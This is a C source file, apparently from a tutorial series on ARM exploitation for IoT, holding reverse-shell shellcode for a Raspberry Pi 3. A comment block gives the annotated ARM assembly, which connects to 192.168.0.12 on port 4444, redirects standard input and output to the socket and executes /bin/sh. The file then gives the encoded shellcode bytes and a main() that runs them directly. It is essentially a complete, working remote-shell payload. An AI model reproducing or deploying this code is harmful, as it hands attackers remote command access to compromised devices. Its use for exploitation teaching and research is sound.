71 lines
No EOL
2.5 KiB
C
71 lines
No EOL
2.5 KiB
C
/*
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##################################
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# Andrea Sindoni - @invictus1306 #
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##################################
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This schellcode is part of my episodes:
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- ARM exploitation for IoT - https://quequero.org/2017/07/arm-exploitation-iot-episode-2/
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Enviroment: Raspberry pi 3
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Default settings for port:4444 ip:192.168.0.12
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.global _start
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_start:
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mov r1, #0x5C @ r1=0x5c
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mov r5, #0x11 @ r5=0x11
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mov r1, r1, lsl #24 @ r1=0x5c000000
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add r1, r1, r5, lsl #16 @ r1=0x5c110000 - port number=4444(0x115C) -- please change me
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add r1, #2 @ r1=0x5c110002 - sin_family+sin_port
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ldr r2, =#0x0c00a8c0 @ sin_addr=192.168.0.12 each octet is represented by one byte -- please change me
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push {r1, r2} @ push into the stack r1 and r2
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mov r1, sp @ save pointer to sockaddr_in struct
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mov r2, #0x10 @ addrlen
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mov r0, r6 @ mov sockfd into r0
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ldr r7, =#283 @ connect syscall
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swi 0
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@ Redirect stdin, stdout and stderr via dup2
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mov r1, #2 @ counter stdin(0), stdout(1) and stderr(2)
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loop:
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mov r0, r6 @ mov sockfd into r0
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mov r7, #63 @ dup2 syscall
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swi 0
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sub r1, r1, #1 @ decrement counter
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cmp r1, #-1 @ compare r1 with -1
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bne loop @ if the result is not equal jmp to loop
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@ int execve(const char *filename, char *const argv[],char *const envp[]);
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mov r0, pc
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add r0, #32
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sub r2, r2, r2
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push {r0, r2}
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mov r1, sp
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mov r7, #11
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swi 0
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_exit:
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mov r0, #0
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mov r7, #1
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swi 0 @ exit(0)
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shell: .asciz "/bin/sh"
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Assemble and link it:
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as -o reverse_shell.o reverse_shell.s
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ld -o reverse_shell reverse_shell.o
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*/
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#include <stdio.h>
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char *code= "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\x80\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x64\x20\x9f\xe5\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x54\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xf9\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\xc0\xa8\x00\x0c\x1b\x01\x00\x00";
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int main(void) {
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(*(void(*)()) code)();
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return 0;
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} |